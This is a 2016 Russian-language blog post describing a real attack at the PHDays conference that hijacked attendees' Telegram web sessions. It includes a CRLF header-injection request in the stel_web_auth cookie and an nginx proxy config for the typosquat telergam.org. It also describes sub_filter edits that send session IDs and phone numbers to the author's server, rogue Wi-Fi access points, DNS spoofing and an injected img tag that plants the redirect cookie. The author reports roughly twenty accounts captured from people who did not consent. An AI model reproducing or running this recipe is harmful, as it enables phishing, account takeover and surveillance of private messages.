21 Мая, 2016

Массовый взлом telegram на PHDays

Bo0oM

Привет-привет!

Что такое telegram ? Лично для меня, это самый настоящий прорыв среди месседжеров. Он реально удобный, кроссплатформенный, современный и безопасный. Все время развивается и улучшается, просто нет слов, чтобы передать радость от его использования! Каналы, боты, группы — это про него.

Даже если ты по каким-либо причинам не можешь установить (прекрасный) клиент, можешь воспользоваться официальной web-версией прямо в браузере! И сообщения там летают не открытым текстом, что даже при наличии установленных в операционную систему корневыхPсертификатах спецслужб затруднит перехват сообщений.

Помимо официального клиентовPактивно используется домен telegram.me. Он служитPкак ссылка на контакт, инвайт-ссылка для добавленияPв группу или канал (например мой ),Pчерез него также можноPдобавить стикеры. Если пользователь аутентифицирован в веб-клиенте, то там присутствует кука stel_web_auth, которая отвечает, на какой домен перенаправлять пользователя.

Вот примеры запроса к telegram.me с кукой:

Запрос

GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost

Ответ

HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:02:23 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=823678114; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost#/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000

Стоит заметить, что в куке присутствует возможность вставить r
Pсимволы, что позволяет подделать заголовки ответов от сервера, или, например, целый HTTP-пакет . А это ведет как минимум к XSS (привет Internet Explorer).

Обычно, в случае CRLF для демонстрации уязвимости ставят заголовок Set-cookie, который устанавливает куку. Но у меня CRFL инъекция уже через куку, поэтому обойдусь :))

Вот пример подделки заголовков:

Запрос

GET /i_bo0om HTTP/1.1
Host: telegram.me
Cookie: stel_web_auth=localhost%0d%0a%20Header1%3a%20ok%0d%0a%20Header2%3a%20ok%0d%0a%20other:%20

Ответ

HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 19 May 2016 22:23:31 GMT
Content-Type: text/html; charset=windows-1251
Content-Length: 0
Connection: keep-alive
Set-Cookie: stel_ssid=1297301663; path=/
Pragma: no-cache
Cache-control: no-store
Location: localhost
Header1: ok
Header2: ok
other: #/im?tgaddr=tg%3A%2F%2Fresolve%3Fdomain%3Di_bo0om
Strict-Transport-Security: max-age=15768000

Об этой особенности (и некоторых других) я писал разработчикам еще 2-го марта. Ну это каким тяжелым наркоманом надо быть, чтобы использовать Telegram в Internet Explorer’е (еще и в старом)?
nЗаметь, что присутствует заголовок Strict-Transport-Security, что не позволяет добраться до заветной печеньки, если пытаешься использовать MiTM-атаку (человек посередине), несмотря на то, что у куки нет флага Secure. Значит куку можно поставить с помощью XSS (нет флага HttpOnly), но я её так сходу не нашёл.

И тут я вспомнил про одну особенность современных веб-приложений. Поддомен (blabla.telegram.me) может поставить cookie на главный домен (telegram.me). Получится, конечно, не open redirect, а хитрое перенаправление на чужой домен, при использовании домена telegram.me

Для этого, мне нужно:

  1. Раздать свою Wi-Fi точку.
  2. Перенаправлять пользователей на несуществующий поддомен, который ставит куку.
  3. Заставить пользователя зайти на мой поддомен. С учетом первого шага — легко.

Когда пользователю кинут ссылку на приглашение, например, в группу — его перенаправит на фейковое приложение. Пробуем? Поехали!

Готовим фейк

Воспользовавшись утилитой urlcrazy Pя сгенерировал свободные домены подходящие для фейка. Отлично подошёл telergam.org. Телеграм достаточно сложное слово, чтобы можно было не заметить смену двух моноширных согласных посередине.

Взял облачный сервер на месяц и сделал фейк. Ну как сделал фейк. Я воспользовался проксированием с помощью nginx (привет @sergeybelove ). Используя модуль proxy_pass  можно настроить проксирование всех запросов на другой сайт, таким образом зашедший на мой ресурс видел содержимое другого сайта, целиком и полностью, включая изменения в реальном времени.

Вот полный конфиг «фейка» главного сайта telegram:

server {
listen 80; # слушаем 80 порт
server_name telergam.org; #на какой домен откликаемся
location / {
proxy_pass https://telegram.org; #проксируем сайт телеграма
}


А ещё используя модуль sub_filter  можно заменять содержимое строки на произвольную. По образу и подобию было настроено проксирование на web.telegram, с некоторыми поправками — клиент отправлял на мой сервер текущий идентификатор сессии (и прочие данные из localStorage), номер телефона, браузер.

Что еще нужно для хорошей жизни? SSL! Ну продвинутые пользователи сразу заподозрят неладное, а присутствие «зеленого замочка» прибавляет к харизме фейку.

Поэтому регистрируем бесплатный аккаунт на cloudflare и получаем возможность закрыть от чужих глаз ip адрес сервера и заветный замочек

Теперь попробуй найти 10 отличий:

 

Positive Hack Days

Не так давно , на конференции ZeroNights  я уже игрался с MiTM’ом, раздавая «бесплатный Wi-Fi», подрезая SSL и собирая трафик. На этот раз дамп трафика мне был уже неинтересен, поэтому основной целью была раздача волшебных печенек в браузеры пользователей.

Шаг 1. Wi-Fi

У нас было 2 wi-fi pineapple , 4500 потенциальных жертв, 3P альфы , несколько 8 dbi антенн и целое множество Wi-Fi карточек всех сортов и расцветок, а также MITMf , DNSspoof, Mana Toolkit , strip-n-inject и проксирующий сервак с фейковым dns-сервером. Не то что бы это был необходимый запас для поездки. Но если начал собирать оборудование для MITM’а, становится трудно остановиться. Единственное что вызывало у меня опасение — это BeEF . Нет ничего более беспомощного, безответственного и испорченного, чем XSS зомби. Я знал, что рано или поздно мы перейдем и на эту дрянь.

На помощь приходят «ананасы», это специальные устройства для атак с помощью поддельной Wi-Fi точки. На конференции было два этажа, а хотелось покрыть максимальное количество людей. К тому же раздавался официальный Wi-Fi с SSID «PHD», поэтому оставалось только запитать устройство. Отлично подошла розетка и место под столом на первом этаже.

Ананасу помощнее, на втором этаже, повезло больше — ему достался ethernet-кабель, поэтому раздавался быстрый и стабильный интернет. «Альфа» с ноутбуком (эту же пару я использовал на ZeroNights) кочевала со мной. Вдобавок, я хотел приспособить mr3040  с OpenWRT , но из-за количества людей и малой мощности я оставил эту идею.

Ещё из Питера привезли мощный роутер Xiaomi, но из-за нехватки времени на прошивку/настройку он так и остался лежать в коробке. Тем более покрытие было уже достаточным для успешной атаки.

Шаг второй. DNS

Задача — записать куку на telegram.me, поэтому на сервере я создал поддомен i.telegram.me и отвечал на любой запрос установкой куки (без контента). Думаю, отдавать DNS с помощью DHCP смысла не много, но на всякий случай поставил unbound и открыл его миру (чтобы подключались). Сразу после PHDays пришла абуза, кто-то успел засканить dns и DDoS’ил им .gov сайты.

Еще были использованы утилиты DNSMasqSpoof и DNSspoof. Первый вариант почему-то глючно работал, поэтому остался последний.

Шаг третий. Инъекция

На этот раз использовать sslstrip/sslsplit/hsts bypass не нужно. Да и зачем палиться? Чуть что, браузер начнет кричать на невалидность сертификата, а надо, чтоб он пользовался интернетом. При сёрфинге жертва скорее всего перейдет на http ресурс, а я тут как тут. Поэтому вконец документа вставлялся тег
<img src="http://i.telegram.me/" onerror=remove()>

Все просто — отправляется GET-запрос на несуществующий домен, но фейковый DNS отвечает нужным мне IP-адресом, в ответ от фейкового домена приходит заголовок с установкой cookie. Так как тег — изображение, срабатывает событие onerror и тег удаляется.
Ребята из Hardware Village преложили делать инъекцию BeEf’а, чтобы полностью контролировать браузер жертвы, потом выводить на телике кто попался (да-да, как на конференции BlackHat). Не было времени, но в следующий раз надо заняться.

Запрос

GET / HTTP/1.1
Host: i.telegram.me
Accept: */*

Ответ

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Fri, 20 May 2016 22:12:39 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: stel_web_auth=https%253A%252F%252Fweb.telergam.org%252F; expires=Sat, 20-May-2017 22:12:39 GMT; Max-Age=31536000; domain=.telegram.me

В результате, если пользователь зайдет на любой HTTP сайт используя мой Wi-Fi, его браузер будет «заражённым», и когда он будет переходить по ссылкам telegram.me — его будет перенаправлять на фейковую страницу аутентификации.

Результаты

А вот результаты я ожидал получше…
В первый день активной атаки (когда на конференции находится максимум народа) — никого. Никто не зашел. В середине конференции несколько внимательных зашли на страницы сниффера, полазили по фейкограму. Ближе к ночи был один вход. Ну хоть так…

Ещё один вход был пол второго ночи, его можно так же засчитать за первый день.

На второй день я пошел перепроверять оборудование, все ли работает как надо? Я пробовал сам запускать браузер — всё круто, кука ставится, telegram.me редиректит, лог входа пишется. Пару часов сидел и перепроверял, в чем же может быть проблема. Народ цеплялся. Большинство было с мобильных устройств, но и ноутбуки охотно подключались. На Hardware Village к инъекции был запущен mitmf (с respoder’ом), на всякий случай. Опять два входа и опять ночью.

Следующий день был рабочий. На выходные я решил написать эту статью, мол, ребятки, вот потенциальный способ массового взлома телеграм. Нет ничего хуже несбывшихся надежд. Вечером захотел убить сервак… Но…
Увидел в логах 13 входов в фейкограм в течении всего дня (первый вP12:22, последний в 18:29).
Отлично! Способ работает в долгосрочной перспективе, ведь никто не знает, когда пользователь воспользуется ссылкой! Куку я ставил на год, так что не удивлюсь, что кто-нибудь зайдет когда-нибудь зимой.

20 мая (два дня с конференции) — три входа

21 мая (на момент написания статьи) — ещё три

Выводы

Плюсы:

  • Помните, когда сломали telegram журналистов ? Там было очень явное палево — IP адреса взломщика, ведь telegram сообщает, с какого IP происходит вход. В этом случае IP адрес будет совпадать с адресом жертвы. А так как мы контролируем сам клиент, мы имеем доступ к переписке и возможность выполнять любые действия от имени жертвы.
  • Даже если стоит двухфакторная аутентификация — не поможет.
  • Кнопку выхода можем заменить на уничтожении сессионного идентификатора только на стороне жертвы, тем самым наблюдать за перепиской всё время, пока жертва не уничтожит активные сессии в настройках.
  • Способ можно модифицировать и улучшить

Минусы:

  • Пользователь вовсе может не зайти. Из 4500 человек на хакерской конференции пробив был менее 1%.
  • Естественно, доступ к секретным чатам мы не получим.
  • На невнимательных пользователей. Но лично я — не заметил бы.
  • Если пользователь аутентифицируется в официальном веб-клиенте, кука перезапишется.

И всё же, telegram остается одним из самых лучших (и безопасных) месседжеров.

Ребята, чьи аккаунты я захватил: все делалось в рамках исследования, сообщения прочитаны не были, собранные данные будут уничтожены вместе с сервером.

Ещё увидимся ;)